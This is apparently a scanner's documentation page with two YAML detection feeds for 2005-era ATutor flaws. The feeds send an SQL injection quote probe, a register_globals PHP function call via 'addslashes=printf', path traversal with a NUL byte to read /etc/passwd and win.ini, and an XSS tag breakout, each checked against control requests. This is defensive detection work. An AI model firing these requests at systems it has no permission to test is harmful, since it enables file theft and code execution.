ATutor — 2 vulnerability checks

noctis ships 2 vulnerability checks for ATutor, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ATutor < 1.5.1-pl1 password_reminder.php SQL injection

CVECVE-2005-2954
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/atutor/CVE-2005-2954.yaml

Tests ATutor (before 1.5.1-pl1) for SQL injection in the email field of password_reminder.php, under the /ATutor and /atutor folders and the web root. The feed posts the password reminder form with an email value that starts with a single quote followed by a random marker: when the quote reaches the SQL query unescaped, the query fails and PHP prints a mysql_fetch_assoc() warning. A control post with the same marker holding a doubled quote, which keeps the query well formed, must not print that warning. Neither value can match an account, so no password reminder is sent and nothing is written. The flaw needs PHP's magic_quotes_gpc off, and the warning is only visible when PHP displays errors.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/password_reminder.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/password_reminder.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks warn_line for ^mysql_fetch_assoc\(\)(: supplied argument is not a valid MySQL resul… → finding QoD 75: ATutor password_reminder.php SQL injection (CVE-2005-2954)

References:

Feed source — tests/vulnerabilities/atutor/CVE-2005-2954.yaml
# ATutor < 1.5.1-pl1 password_reminder.php SQL injection (CVE-2005-2954)
#
# Source: ATutor 1.5.1 (github.com/atutor/ATutor, tag atutor_1_5_1, docs/ = web root),
# password_reminder.php:
#     $sql = "SELECT login, password, email FROM ".TABLE_PREFIX."members
#             WHERE email='$_POST[form_email]'";
#     $result = mysql_query($sql,$db);
#     if ($row = mysql_fetch_assoc($result)) { ...mails the password... }
# With magic_quotes_gpc off, a quote in form_email breaks the query: mysql_query()
# returns false and PHP prints "mysql_fetch_assoc(): supplied argument is not a valid
# MySQL result resource" (PHP 4 / 5.0-5.2) or "mysql_fetch_assoc() expects parameter 1
# to be resource, boolean given" (PHP 5.3+). 1.5.1-pl1 / 1.5.2 run $addslashes() on
# the field first.
#
# Detection, per install folder (/ATutor, /atutor, web root):
#   probe   form_email='noctis<x>  (quote first: the literal closes, the rest is a
#           syntax error) -> the mysql_fetch_assoc() warning;
#   control form_email=noctis<x>''<y>  (doubled quote: a well-formed literal that
#           matches no account) -> no warning.
# Only the unbalanced quote breaking the query proves the field reaches SQL unescaped.
# Neither request can match an account, so no password reminder is ever mailed and
# nothing is written.
#
# Better than the NASL (pre2008/atutor_password_reminder_sql.nasl): it only knew the
# PHP 4/5.0-5.2 wording of the warning and had no control, so a page that always
# prints that warning (broken DB link, tarpit) was reported. The feed also accepts
# the PHP 5.3+ wording and requires the doubled-quote control to stay clean.
# Limit (as the NASL): with display_errors off the warning is not printed and the
# flaw is not reported.
#
# CVSS: NVD has only a v2 score (7.5).
#
# Ported from OpenVAS/Greenbone NVT pre2008/atutor_password_reminder_sql.nasl
# (OID 1.3.6.1.4.1.25623.1.0.19765, GPL-2.0-only).
uid: 1c1f4fa1-ec73-43a9-a125-8fbf70a22b5a
name: "ATutor < 1.5.1-pl1 password_reminder.php SQL injection"
description: |
  Tests ATutor (before 1.5.1-pl1) for SQL injection in the email field of
  password_reminder.php, under the /ATutor and /atutor folders and the web
  root. The feed posts the password reminder form with an email value that
  starts with a single quote followed by a random marker: when the quote
  reaches the SQL query unescaped, the query fails and PHP prints a
  mysql_fetch_assoc() warning. A control post with the same marker holding
  a doubled quote, which keeps the query well formed, must not print that
  warning. Neither value can match an account, so no password reminder is
  sent and nothing is written. The flaw needs PHP's magic_quotes_gpc off, and
  the warning is only visible when PHP displays errors.
cves: [CVE-2005-2954]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [atutor, php, sqli, error-based, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2954"
  - "http://rgod.altervista.org/atutor151.html"
  - "https://www.securityfocus.com/bid/14831"
  - "https://github.com/atutor/ATutor/blob/atutor_1_5_1/docs/password_reminder.php"
  - "OpenVAS/Greenbone NASL pre2008/atutor_password_reminder_sql.nasl (GPL-2.0-only)"

steps:
  - id: mint
    action: script
    code: '#{ x: rand_hex(8), y: rand_hex(8) }'
    store_as: m

  - id: init-found
    action: set_var
    var_name: found
    var_value: false

  # ── Loop group: every following step runs once per install folder. Each pass
  # resets the values it reads, so nothing is left over. ──
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/ATutor", "/atutor", ""]

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: ""}

  - id: init-warn
    action: set_var
    var_name: warn_line
    var_value: ""

  - id: sqli-probe
    action: http_request
    method: POST
    path: "{{dir}}/password_reminder.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "form_password_reminder=true&form_email=%27noctis{{m.x}}&submit=Submit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "found == false"
    store_as: probe

  # The warning text alone (not the page) becomes the match source and evidence.
  - id: probe-warning
    action: script
    code: |
      let b = probe.body;
      if found == false && probe.status != 0 && type_of(b) == "string" {
        let w = eregmatch("mysql_fetch_assoc\\(\\)(?:: supplied argument is not a valid MySQL result resource| expects parameter 1 to be resource, boolean given)", b);
        if w.len() > 0 { w[0] } else { "" }
      } else { "" }
    store_as: warn_line

  # Control: a doubled quote keeps the literal well formed — no warning allowed.
  - id: sqli-control
    action: http_request
    method: POST
    path: "{{dir}}/password_reminder.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "form_password_reminder=true&form_email=noctis{{m.x}}%27%27{{m.y}}&submit=Submit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == false && warn_line != ""'
    store_as: ctrl

  - id: verdict
    action: script
    code: |
      let c = ctrl.body;
      found == false && warn_line != "" && ctrl.status != 0 && type_of(c) == "string"
        && !ereg("mysql_fetch_assoc\\(\\)", c)
    store_as: now

  - id: report
    action: match
    source: warn_line
    pattern: "^mysql_fetch_assoc\\(\\)(: supplied argument is not a valid MySQL result resource| expects parameter 1 to be resource, boolean given)"
    condition: "now == true"
    on_match:
      set_vars:
        found: true
      finding:
        title: "ATutor password_reminder.php SQL injection (CVE-2005-2954)"
        description: "An unauthenticated POST to password_reminder.php with an email value starting with a single quote made the SQL query fail (PHP printed a mysql_fetch_assoc() warning), while the same value with a doubled quote, which keeps the query well formed, did not. The email field is therefore placed in the SQL query unescaped, so an attacker can change the query, for example to read account data from the ATutor database."
        remediation: "Upgrade ATutor to 1.5.1-pl1 or later, which escapes the email field before building the query, and set PHP's display_errors off in production."
        cves: [CVE-2005-2954]
        cvss: 7.5
        severity: high
        confidence_delta: 0.50
        qod: 75
        evidence: "POST {{dir}}/password_reminder.php form_email='noctis{{m.x}} printed \"{{warn_line}}\"; the doubled-quote control noctis{{m.x}}''{{m.y}} did not"

ATutor <= 1.5.1-pl1 multiple flaws: PHP function execution, file inclusion, XSS

CVECVE-2005-3405, CVE-2005-3404, CVE-2005-3403
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/atutor/atutor-multiple-flaws.yaml

Tests ATutor (1.4.1 to 1.5.1-pl1) for three flaws fixed in 1.5.2, under the /ATutor and /atutor folders and the web root. PHP function execution (CVE-2005-3405): include/html/forum.inc.php is requested directly with the addslashes parameter set to printf and asc set to a random marker holding "%%"; printf() prints it with "%%" reduced to "%", which proves the page ran the PHP function chosen in the request. A control request with a function that prints nothing must not return the reduced marker. File inclusion (CVE-2005-3404): documentation/common/print.php is requested with section set to a ../ sequence ending in etc/passwd (then windows/win.ini) and a NUL byte; the file's content in the reply confirms it, and a control request for an absent file must return no file content. Cross-site scripting (CVE-2005-3403): documentation/add_note.php is requested with the p parameter set to a random inert tag, which must come back unescaped inside the page's hidden form field. The first two flaws need PHP's register_globals on (and, for the file inclusion, PHP before 5.3.4 with magic_quotes_gpc off); each flaw found is reported once with its own CVE. Nothing is written on the target and no operating system command is run.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/include/html/forum.inc.php?addslashes=printf&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/include/html/forum.inc.php?addslashes=trim&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END
  5. Parses / computes the next value with a Rhai script
  6. Checks rce_r.body for NOCTIS[0-9a-f]+%[0-9a-f]+END → finding QoD 97: ATutor forum.inc.php arbitrary PHP function execution (CVE-2005-3405)
  7. HTTP(S) request GET {{dir}}/documentation/common/print.php?section=../../../../../../../../../../etc/pass…
  8. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{dir}}/documentation/common/print.php?section=../../../../../../../../../../windows/…
  11. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{dir}}/documentation/common/print.php?section={{ctrl_path}}%00
  14. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  15. … and 5 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/atutor/atutor-multiple-flaws.yaml
# ATutor 1.4.1 - 1.5.1-pl1 multiple flaws (CVE-2005-3403, CVE-2005-3404, CVE-2005-3405)
#
# Source: ATutor 1.5.1 (github.com/atutor/ATutor, tag atutor_1_5_1, docs/ = web root),
# fixed in 1.5.2 (tag atutor_1_5_2):
#   - include/html/forum.inc.php (CVE-2005-3405) answers a direct request and runs
#       $col = $addslashes($_GET['asc']);
#     $addslashes is normally set by vitals.inc.php; with register_globals on, a direct
#     request defines it, so ?addslashes=<php function>&asc=<arg> calls any PHP
#     function with one argument. 1.5.2: `if (!defined('AT_INCLUDE_PATH')) { exit; }`.
#   - documentation/common/print.php (CVE-2005-3404) sets $section only for
#     ?admin/?instructor/?general, then require('../'.$section.'/pages.inc.php');
#     with register_globals on, ?section=<../ path>%00 includes any file on PHP < 5.3.4
#     (magic_quotes_gpc off). 1.5.2 defaults $section to 'general'.
#   - documentation/add_note.php (CVE-2005-3403, vector 3, no register_globals needed)
#     echoes $_GET['p'] raw into value="..."; 1.5.2 adds htmlspecialchars().
#
#     magic_quotes_gpc (PHP's default) turns the quote into \" — still an XSS, so the
#     anchor accepts value="\"><noctis-…> too.
#
# Detection, per install folder (/ATutor, /atutor, web root), each flaw reported once:
#   1. RCE (QoD 97): forum.inc.php?addslashes=printf&asc=NOCTIS<t1>%%<t2>END. printf()
#      collapses "%%" into "%", so NOCTIS<t1>%<t2>END in the reply proves the request
#      chose and ran a PHP function — a reflector echoes "%%". Control:
#      ?addslashes=trim (no output) must not print the collapsed marker. Nothing runs
#      outside PHP, and system() being disabled does not matter.
#   2. File read (QoD 75): print.php?section=../(x10)etc/passwd%00 (then windows/win.ini)
#      returns the file; a control for an absent file in a random missing directory
#      with the same ending must return none (tarpits / honeypots).
#   3. XSS (QoD 75): add_note.php?p="><noctis-<x>> comes back unescaped right after
#      name="page" value=" — the exact place the vulnerable template echoes it.
#
# Better than the NASL (pre2008/atutor_multiple_flaws.nasl): it ran `id` through
# system() and only recognised the reply or the "system() has been disabled" message
# (a version hint, not a proof). The printf proof needs no OS command, works with
# system() disabled and is computed by PHP. The NASL also never tested the file
# inclusion and XSS CVEs it listed; each now gets its own finding.
#
# CVSS: NVD has only v2 scores (3405 7.5, 3404 7.5, 3403 4.3).
#
# Ported from OpenVAS/Greenbone NVT pre2008/atutor_multiple_flaws.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20095, GPL-2.0-only).
uid: 482179d0-c8cc-4c48-9143-e67e4cfdd916
name: "ATutor <= 1.5.1-pl1 multiple flaws: PHP function execution, file inclusion, XSS"
description: |
  Tests ATutor (1.4.1 to 1.5.1-pl1) for three flaws fixed in 1.5.2, under the
  /ATutor and /atutor folders and the web root. PHP function execution
  (CVE-2005-3405): include/html/forum.inc.php is requested directly with the
  addslashes parameter set to printf and asc set to a random marker holding
  "%%"; printf() prints it with "%%" reduced to "%", which proves the page ran
  the PHP function chosen in the request. A control request with a function
  that prints nothing must not return the reduced marker. File inclusion
  (CVE-2005-3404): documentation/common/print.php is requested with section set
  to a ../ sequence ending in etc/passwd (then windows/win.ini) and a NUL byte;
  the file's content in the reply confirms it, and a control request for an
  absent file must return no file content. Cross-site scripting (CVE-2005-3403):
  documentation/add_note.php is requested with the p parameter set to a random
  inert tag, which must come back unescaped inside the page's hidden form field.
  The first two flaws need PHP's register_globals on (and, for the file
  inclusion, PHP before 5.3.4 with magic_quotes_gpc off); each flaw found is
  reported once with its own CVE. Nothing is written on the target and no
  operating system command is run.
cves: [CVE-2005-3405, CVE-2005-3404, CVE-2005-3403]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [atutor, php, register-globals, code-execution, rce, lfi, file-read, xss, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3405"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3404"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3403"
  - "https://github.com/atutor/ATutor/blob/atutor_1_5_1/docs/include/html/forum.inc.php"
  - "https://github.com/atutor/ATutor/compare/atutor_1_5_1...atutor_1_5_2"
  - "OpenVAS/Greenbone NASL pre2008/atutor_multiple_flaws.nasl (GPL-2.0-only)"

steps:
  # Per-run markers (hex) and found-flags shared by every pass of the loop.
  - id: mint
    action: script
    code: '#{ t1: rand_hex(8), t2: rand_hex(8), x: rand_hex(8) }'
    store_as: m

  - id: init-rce-found
    action: set_var
    var_name: rce_found
    var_value: false

  - id: init-lfi-found
    action: set_var
    var_name: lfi_found
    var_value: false

  - id: init-xss-found
    action: set_var
    var_name: xss_found
    var_value: false

  # ── Loop group: every following step runs once per install folder. Each pass
  # resets the values it reads, so nothing is left over. ──
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/ATutor", "/atutor", ""]

  - id: init-rce-c
    action: set_var
    var_name: rce_c
    var_value: {status: 0, body: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-xss-r
    action: set_var
    var_name: xss_r
    var_value: {status: 0, body: ""}

  # ── CVE-2005-3405: printf() chosen through register_globals ──────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{dir}}/include/html/forum.inc.php?addslashes=printf&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "rce_found == false"
    store_as: rce_r

  - id: rce-hit
    action: script
    code: |
      let b = rce_r.body;
      type_of(b) == "string" && stridx(b, "NOCTIS" + m.t1 + "%" + m.t2 + "END") >= 0
    store_as: rce_hit

  # Control: a function that prints nothing — the reduced marker must not appear.
  - id: rce-control
    action: http_request
    method: GET
    path: "{{dir}}/include/html/forum.inc.php?addslashes=trim&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "rce_found == false && rce_hit == true"
    store_as: rce_c

  - id: rce-verdict
    action: script
    code: |
      let c = rce_c.body;
      rce_found == false && rce_hit == true && rce_c.status != 0 && type_of(c) == "string"
        && stridx(c, "NOCTIS" + m.t1 + "%" + m.t2 + "END") < 0
    store_as: rce_now

  - id: rce-report
    action: match
    source: rce_r.body
    pattern: "NOCTIS[0-9a-f]+%[0-9a-f]+END"
    condition: "rce_now == true"
    on_match:
      set_vars:
        rce_found: true
      finding:
        title: "ATutor forum.inc.php arbitrary PHP function execution (CVE-2005-3405)"
        description: "A direct, unauthenticated request to include/html/forum.inc.php with the addslashes parameter set to printf made the page call printf() on the asc parameter: the reply carried the marker with \"%%\" reduced to \"%\", which printf() does when it prints its argument, while the same request with a function that prints nothing did not. Any PHP function can be called this way, including system(), so the flaw gives command execution as the web server user."
        remediation: "Upgrade ATutor to 1.5.2 or later (forum.inc.php then exits when requested directly), and turn PHP's register_globals off."
        cves: [CVE-2005-3405]
        cvss: 7.5
        severity: high
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/include/html/forum.inc.php?addslashes=printf&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END printed NOCTIS{{m.t1}}%{{m.t2}}END (printf ran); the addslashes=trim control did not"

  # ── CVE-2005-3404: print.php $section include ─────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "lfi_found == false"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "lfi_found == false && passwd_r.status != 0"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if lfi_found == false && passwd_r.status != 0 && passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lfi_found == false && lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lfi_found == false && lin_proof == "" && winini_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  # Control: an absent file in a random missing directory, with the same ending
  # as the file that hit — must NOT return any file content.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/documentation/common/print.php?section={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
    condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
    on_match:
      set_vars:
        ctrl_hit: true

  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "lfi_found == false && ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      set_vars:
        lfi_found: true
      finding:
        title: "ATutor print.php local file inclusion (CVE-2005-3404)"
        description: "An unauthenticated request to documentation/common/print.php with the section parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. Any file the web server user can read is disclosed this way, and PHP code in an included file is run."
        remediation: "Upgrade ATutor to 1.5.2 or later, turn PHP's register_globals off, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        cves: [CVE-2005-3404]
        cvss: 7.5
        severity: high
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"

  - id: report-windows
    action: match
    source: win_file
    pattern: "^windows/win\\.ini$"
    condition: "lfi_found == false && ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      set_vars:
        lfi_found: true
      finding:
        title: "ATutor print.php local file inclusion (CVE-2005-3404)"
        description: "An unauthenticated request to documentation/common/print.php with the section parameter set to a ../ sequence ending in windows/win.ini and a NUL byte returned that file's content, while the same request for an absent file did not. Any file the web server user can read is disclosed this way, and PHP code in an included file is run."
        remediation: "Upgrade ATutor to 1.5.2 or later, turn PHP's register_globals off, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        cves: [CVE-2005-3404]
        cvss: 7.5
        severity: high
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../windows/win.ini%00 returned the content of windows/win.ini; control for an absent file returned no file content"

  # ── CVE-2005-3403: add_note.php p reflected raw into the hidden field ─────
  - id: xss-probe
    action: http_request
    method: GET
    path: "{{dir}}/documentation/add_note.php?p=%22%3E%3Cnoctis-{{m.x}}%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "xss_found == false"
    store_as: xss_r

  - id: xss-verdict
    action: script
    code: |
      let b = xss_r.body;
      xss_found == false && xss_r.status == 200 && type_of(b) == "string"
        && (stridx(b, "name=\"page\" value=\"\"><noctis-" + m.x + ">") >= 0
          || stridx(b, "name=\"page\" value=\"\\\"><noctis-" + m.x + ">") >= 0)
    store_as: xss_now

  - id: xss-report
    action: match
    source: xss_r.body
    pattern: "name=\"page\" value=\"\\\\?\"><noctis-[0-9a-f]+>"
    condition: "xss_now == true"
    on_match:
      set_vars:
        xss_found: true
      finding:
        title: "ATutor add_note.php cross-site scripting (CVE-2005-3403)"
        description: "An unauthenticated request to documentation/add_note.php with the p parameter set to a quote followed by a random inert tag returned the tag unescaped (the quote at most backslash-escaped by magic_quotes_gpc), breaking out of the page's hidden \"page\" form field. A crafted link can therefore run script in the browser of an ATutor user who follows it."
        remediation: "Upgrade ATutor to 1.5.2 or later, which HTML-escapes the p parameter."
        cves: [CVE-2005-3403]
        cvss: 4.3
        severity: medium
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{dir}}/documentation/add_note.php?p=\"><noctis-{{m.x}}> returned <noctis-{{m.x}}> unescaped right after name=\"page\" value=\""

View these feeds on GitHub